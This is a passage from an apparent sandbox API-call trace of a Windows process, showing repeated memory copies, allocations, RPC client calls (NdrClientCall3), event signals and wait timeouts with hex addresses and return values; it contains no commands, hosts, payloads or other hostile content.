_Size=0x4 | out: _Dst=0x334ce8) returned 0x334ce8 [0127.946] CoTaskMemAlloc (cb=0x1c) returned 0x3c2120 [0127.946] memcpy (in: _Dst=0x3c2120, _Src=0x334cd0, _Size=0x1c | out: _Dst=0x3c2120) returned 0x3c2120 [0127.947] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0127.952] CoTaskMemFree (pv=0x3c2120) [0127.952] SetEvent (hEvent=0x174) returned 1 [0127.952] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0127.953] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0127.953] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0127.953] memcpy (in: _Dst=0x334cd4, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd4) returned 0x334cd4 [0127.953] memcpy (in: _Dst=0x334cd6, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334cd6) returned 0x334cd6 [0127.953] memcpy (in: _Dst=0x334cda, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cda) returned 0x334cda [0127.953] memcpy (in: _Dst=0x334cdc, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334cdc) returned 0x334cdc [0127.953] memcpy (in: _Dst=0x334ce0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ce0) returned 0x334ce0 [0127.954] memcpy (in: _Dst=0x334ce2, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334ce2) returned 0x334ce2 [0127.954] memcpy (in: _Dst=0x334ce6, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ce6) returned 0x334ce6 [0127.954] memcpy (in: _Dst=0x334ce8, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334ce8) returned 0x334ce8 [0127.954] CoTaskMemAlloc (cb=0x1c) returned 0x3c2120 [0127.954] memcpy (in: _Dst=0x3c2120, _Src=0x334cd0, _Size=0x1c | out: _Dst=0x3c2120) returned 0x3c2120 [0127.954] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0127.957] CoTaskMemFree (pv=0x3c2120) [0127.957] SetEvent (hEvent=0x174) returned 1 [0127.957] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0127.958] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0127.958] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0127.958] memcpy (in: _Dst=0x334cd4, _Src=0xdcdc00, _Size=0x17 | out: _Dst=0x334cd4) returned 0x334cd4 [0127.958] memcpy (in: _Dst=0x334ceb, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ceb) returned 0x334ceb [0127.958] memcpy (in: _Dst=0x334ced, _Src=0xdcdc00, _Size=0x1f | out: _Dst=0x334ced) returned 0x334ced [0127.958] CoTaskMemAlloc (cb=0x3c) returned 0x360510 [0127.958] memcpy (in: _Dst=0x360510, _Src=0x334cd0, _Size=0x3c | out: _Dst=0x360510) returned 0x360510 [0127.959] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0127.960] CoTaskMemFree (pv=0x360510) [0127.960] SetEvent (hEvent=0x174) returned 1 [0127.960] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0127.961] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0127.961] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0127.961] memcpy (in: _Dst=0x334cd4, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd4) returned 0x334cd4 [0127.961] memcpy (in: _Dst=0x334cd6, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334cd6) returned 0x334cd6 [0127.961] memcpy (in: _Dst=0x334cda, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cda) returned 0x334cda [0127.961] memcpy (in: _Dst=0x334cdc, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334cdc) returned 0x334cdc [0127.961] memcpy (in: _Dst=0x334ce0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ce0) returned 0x334ce0 [0127.961] memcpy (in: _Dst=0x334ce2, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334ce2) returned 0x334ce2 [0127.961] memcpy (in: _Dst=0x334ce6, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ce6) returned 0x334ce6 [0127.961] memcpy (in: _Dst=0x334ce8, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334ce8) returned 0x334ce8 [0127.961] CoTaskMemAlloc (cb=0x1c) returned 0x3c20c0 [0127.961] memcpy (in: _Dst=0x3c20c0, _Src=0x334cd0, _Size=0x1c | out: _Dst=0x3c20c0) returned 0x3c20c0 [0127.962] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0127.964] CoTaskMemFree (pv=0x3c20c0) [0127.964] SetEvent (hEvent=0x174) returned 1 [0127.964] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0127.965] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0127.965] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0127.965] memcpy (in: _Dst=0x334cd4, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd4) returned 0x334cd4 [0127.965] memcpy (in: _Dst=0x334cd6, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334cd6) returned 0x334cd6 [0127.965] memcpy (in: _Dst=0x334cda, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cda) returned 0x334cda [0127.965] memcpy (in: _Dst=0x334cdc, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334cdc) returned 0x334cdc [0127.965] memcpy (in: _Dst=0x334ce0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ce0) returned 0x334ce0 [0127.965] memcpy (in: _Dst=0x334ce2, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334ce2) returned 0x334ce2 [0127.965] memcpy (in: _Dst=0x334ce6, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ce6) returned 0x334ce6 [0127.965] memcpy (in: _Dst=0x334ce8, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334ce8) returned 0x334ce8 [0127.965] CoTaskMemAlloc (cb=0x1c) returned 0x3c20c0 [0127.965] memcpy (in: _Dst=0x3c20c0, _Src=0x334cd0, _Size=0x1c | out: _Dst=0x3c20c0) returned 0x3c20c0 [0127.966] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0127.968] CoTaskMemFree (pv=0x3c20c0) [0127.968] SetEvent (hEvent=0x174) returned 1 [0127.968] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0128.109] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0128.109] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0128.109] memcpy (in: _Dst=0x334cd4, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd4) returned 0x334cd4 [0128.109] memcpy (in: _Dst=0x334cd6, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334cd6) returned 0x334cd6 [0128.109] memcpy (in: _Dst=0x334cda, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cda) returned 0x334cda [0128.109] memcpy (in: _Dst=0x334cdc, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334cdc) returned 0x334cdc [0128.109] memcpy (in: _Dst=0x334ce0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ce0) returned 0x334ce0 [0128.109] memcpy (in: _Dst=0x334ce2, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334ce2) returned 0x334ce2 [0128.109] memcpy (in: _Dst=0x334ce6, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ce6) returned 0x334ce6 [0128.109] memcpy (in: _Dst=0x334ce8, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334ce8) returned 0x334ce8 [0128.109] CoTaskMemAlloc (cb=0x1c) returned 0x3c20f0 [0128.109] memcpy (in: _Dst=0x3c20f0, _Src=0x334cd0, _Size=0x1c | out: _Dst=0x3c20f0) returned 0x3c20f0 [0128.110] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0128.112] CoTaskMemFree (pv=0x3c20f0) [0128.112] SetEvent (hEvent=0x174) returned 1 [0128.112] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0128.128] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0128.128] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0128.128] memcpy (in: _Dst=0x334cd4, _Src=0xdcdc00, _Size=0x2d | out: _Dst=0x334cd4) returned 0x334cd4 [0128.128] memcpy (in: _Dst=0x334d01, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d01) returned 0x334d01 [0128.128] memcpy (in: _Dst=0x334d03, _Src=0xdcdc00, _Size=0x11 | out: _Dst=0x334d03) returned 0x334d03 [0128.128] memcpy (in: _Dst=0x334d14, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d14) returned 0x334d14 [0128.128] memcpy (in: _Dst=0x334d16, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334d16) returned 0x334d16 [0128.128] CoTaskMemAlloc (cb=0x4a) returned 0x3805b0 [0128.128] memcpy (in: _Dst=0x3805b0, _Src=0x334cd0, _Size=0x4a | out: _Dst=0x3805b0) returned 0x3805b0 [0128.129] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0128.129] CoTaskMemFree (pv=0x3805b0) [0128.129] SetEvent (hEvent=0x174) returned 1 [0128.130] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0128.140] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0128.140] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0128.140] memcpy (in: _Dst=0x334cd4, _Src=0xdcdc00, _Size=0x19 | out: _Dst=0x334cd4) returned 0x334cd4 [0128.140] memcpy (in: _Dst=0x334ced, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ced) returned 0x334ced [0128.140] memcpy (in: _Dst=0x334cef, _Src=0xdcdc00, _Size=0x11 | out: _Dst=0x334cef) returned 0x334cef [0128.140] memcpy (in: _Dst=0x334d00, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d00) returned 0x334d00 [0128.140] memcpy (in: _Dst=0x334d02, _Src=0xdcdc00, _Size=0x1d | out: _Dst=0x334d02) returned 0x334d02 [0128.140] memcpy (in: _Dst=0x334d1f, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d1f) returned 0x334d1f [0128.140] memcpy (in: _Dst=0x334d21, _Src=0xdcdc00, _Size=0xc | out: _Dst=0x334d21) returned 0x334d21 [0128.140] CoTaskMemAlloc (cb=0x5d) returned 0x3d6020 [0128.140] memcpy (in: _Dst=0x3d6020, _Src=0x334cd0, _Size=0x5d | out: _Dst=0x3d6020) returned 0x3d6020 [0128.141] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0128.141] CoTaskMemFree (pv=0x3d6020) [0128.141] SetEvent (hEvent=0x174) returned 1 [0128.141] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0128.143] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0128.143] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0128.143] memcpy (in: _Dst=0x334cd4, _Src=0xdcdc00, _Size=0x1b | out: _Dst=0x334cd4) returned 0x334cd4 [0128.143] memcpy (in: _Dst=0x334cef, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cef) returned 0x334cef [0128.143] memcpy (in: _Dst=0x334cf1, _Src=0xdcdc00, _Size=0x11 | out: _Dst=0x334cf1) returned 0x334cf1 [0128.143] memcpy (in: _Dst=0x334d02, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d02) returned 0x334d02 [0128.143] memcpy (in: _Dst=0x334d04, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334d04) returned 0x334d04 [0128.143] CoTaskMemAlloc (cb=0x38) returned 0x2af2950 [0128.143] memcpy (in: _Dst=0x2af2950, _Src=0x334cd0, _Size=0x38 | out: _Dst=0x2af2950) returned 0x2af2950 [0128.143] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0128.144] CoTaskMemFree (pv=0x2af2950) [0128.144] SetEvent (hEvent=0x174) returned 1 [0128.144] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0128.149] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0128.149] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0128.149] memcpy (in: _Dst=0x334cd4, _Src=0xdcdc00, _Size=0x2d | out: _Dst=0x334cd4) returned 0x334cd4 [0128.149] memcpy (in: _Dst=0x334d01, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d01) returned 0x334d01 [0128.149] memcpy (in: _Dst=0x334d03, _Src=0xdcdc00, _Size=0x11 | out: _Dst=0x334d03) returned 0x334d03 [0128.149] memcpy (in: _Dst=0x334d14, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d14) returned 0x334d14 [0128.149] memcpy (in: _Dst=0x334d16, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334d16) returned 0x334d16 [0128.149] CoTaskMemAlloc (cb=0x4a) returned 0x380190 [0128.149] memcpy (in: _Dst=0x380190, _Src=0x334cd0, _Size=0x4a | out: _Dst=0x380190) returned 0x380190 [0128.149] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0128.150] CoTaskMemFree (pv=0x380190) [0128.150] SetEvent (hEvent=0x174) returned 1 [0128.150] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0128.158] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0128.158] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0128.158] memcpy (in: _Dst=0x334cd4, _Src=0xdcdc00, _Size=0x19 | out: _Dst=0x334cd4) returned 0x334cd4 [0128.158] memcpy (in: _Dst=0x334ced, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334ced) returned 0x334ced [0128.158] memcpy (in: _Dst=0x334cef, _Src=0xdcdc00, _Size=0x14 | out: _Dst=0x334cef) returned 0x334cef [0128.158] memcpy (in: _Dst=0x334d03, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d03) returned 0x334d03 [0128.158] memcpy (in: _Dst=0x334d05, _Src=0xdcdc00, _Size=0x1f | out: _Dst=0x334d05) returned 0x334d05 [0128.158] memcpy (in: _Dst=0x334d24, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d24) returned 0x334d24 [0128.158] memcpy (in: _Dst=0x334d26, _Src=0xdcdc00, _Size=0x13 | out: _Dst=0x334d26) returned 0x334d26 [0128.158] CoTaskMemAlloc (cb=0x69) returned 0x34b8b0 [0128.159] memcpy (in: _Dst=0x34b8b0, _Src=0x334cd0, _Size=0x69 | out: _Dst=0x34b8b0) returned 0x34b8b0 [0128.159] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0128.159] CoTaskMemFree (pv=0x34b8b0) [0128.159] SetEvent (hEvent=0x174) returned 1 [0128.159] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0128.164] memcpy (in: _Dst=0x334cd0, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd0) returned 0x334cd0 [0128.164] memcpy (in: _Dst=0x334cd2, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cd2) returned 0x334cd2 [0128.164] memcpy (in: _Dst=0x334cd4, _Src=0xdcdc00, _Size=0x1b | out: _Dst=0x334cd4) returned 0x334cd4 [0128.165] memcpy (in: _Dst=0x334cef, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334cef) returned 0x334cef [0128.165] memcpy (in: _Dst=0x334cf1, _Src=0xdcdc00, _Size=0x14 | out: _Dst=0x334cf1) returned 0x334cf1 [0128.165] memcpy (in: _Dst=0x334d05, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x334d05) returned 0x334d05 [0128.165] memcpy (in: _Dst=0x334d07, _Src=0xdcdba8, _Size=0x4 | out: _Dst=0x334d07) returned 0x334d07 [0128.165] CoTaskMemAlloc (cb=0x3b) returned 0x360380 [0128.165] memcpy (in: _Dst=0x360380, _Src=0x334cd0, _Size=0x3b | out: _Dst=0x360380) returned 0x360380 [0128.165] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0128.181] CoTaskMemFree (pv=0x360380) [0128.181] SetEvent (hEvent=0x174) returned 1 [0128.181] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0128.204] CoTaskMemAlloc (cb=0x4d) returned 0x380190 [0128.204] memcpy (in: _Dst=0x380190, _Src=0x334cd0, _Size=0x4d | out: _Dst=0x380190) returned 0x380190 [0128.204] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0128.205] CoTaskMemFree (pv=0x380190) [0128.205] SetEvent (hEvent=0x174) returned 1 [0128.205] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0128.213] CoTaskMemAlloc (cb=0x66) returned 0x3d6020 [0128.213] memcpy (in: _Dst=0x3d6020, _Src=0x334cd0, _Size=0x66 | out: _Dst=0x3d6020) returned 0x3d6020 [0128.213] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0128.214] CoTaskMemFree (pv=0x3d6020) [0128.214] SetEvent (hEvent=0x174) returned 1 [0128.214] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0128.215] CoTaskMemAlloc (cb=0x33) returned 0x2af2910 [0128.215] memcpy (in: _Dst=0x2af2910, _Src=0x334cd0, _Size=0x33 | out: _Dst=0x2af2910) returned 0x2af2910 [0128.215] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0128.216] CoTaskMemFree (pv=0x2af2910) [0128.216] SetEvent (hEvent=0x174) returned 1 [0128.216] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0128.931] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0129.138] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0129.139] CoTaskMemAlloc (cb=0x45) returned 0x360380 [0129.139] memcpy (in: _Dst=0x360380, _Src=0x334cd0, _Size=0x45 | out: _Dst=0x360380) returned 0x360380 [0129.139] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0129.143] CoTaskMemFree (pv=0x360380) [0129.143] SetEvent (hEvent=0x174) returned 1 [0129.143] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0129.148] CoTaskMemAlloc (cb=0x38) returned 0x2af28d0 [0129.148] memcpy (in: _Dst=0x2af28d0, _Src=0x334cd0, _Size=0x38 | out: _Dst=0x2af28d0) returned 0x2af28d0 [0129.148] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0129.149] CoTaskMemFree (pv=0x2af28d0) [0129.149] SetEvent (hEvent=0x174) returned 1 [0129.149] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0129.150] CoTaskMemAlloc (cb=0x3c) returned 0x360380 [0129.150] memcpy (in: _Dst=0x360380, _Src=0x334cd0, _Size=0x3c | out: _Dst=0x360380) returned 0x360380 [0129.150] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0129.151] CoTaskMemFree (pv=0x360380) [0129.151] SetEvent (hEvent=0x174) returned 1 [0129.151] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0129.341] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0129.531] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0129.706] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0129.893] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0130.067] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0130.262] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0130.447] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0130.600] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0131.150] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0134.281] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0135.737] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0137.470] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0139.756] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0140.965] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0142.071] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0143.359] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0143.674] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0146.447] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.467] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.467] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.467] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x22 | out: _Dst=0x335934) returned 0x335934 [0146.467] CoTaskMemAlloc (cb=0x26) returned 0x3c23f0 [0146.467] memcpy (in: _Dst=0x3c23f0, _Src=0x335930, _Size=0x26 | out: _Dst=0x3c23f0) returned 0x3c23f0 [0146.467] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.471] CoTaskMemFree (pv=0x3c23f0) [0146.471] SetEvent (hEvent=0x174) returned 1 [0146.471] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.481] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.481] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.481] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x1c | out: _Dst=0x335934) returned 0x335934 [0146.481] CoTaskMemAlloc (cb=0x20) returned 0x3c23f0 [0146.481] memcpy (in: _Dst=0x3c23f0, _Src=0x335930, _Size=0x20 | out: _Dst=0x3c23f0) returned 0x3c23f0 [0146.481] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.482] CoTaskMemFree (pv=0x3c23f0) [0146.482] SetEvent (hEvent=0x174) returned 1 [0146.482] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.498] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.498] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.498] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x2a | out: _Dst=0x335934) returned 0x335934 [0146.498] CoTaskMemAlloc 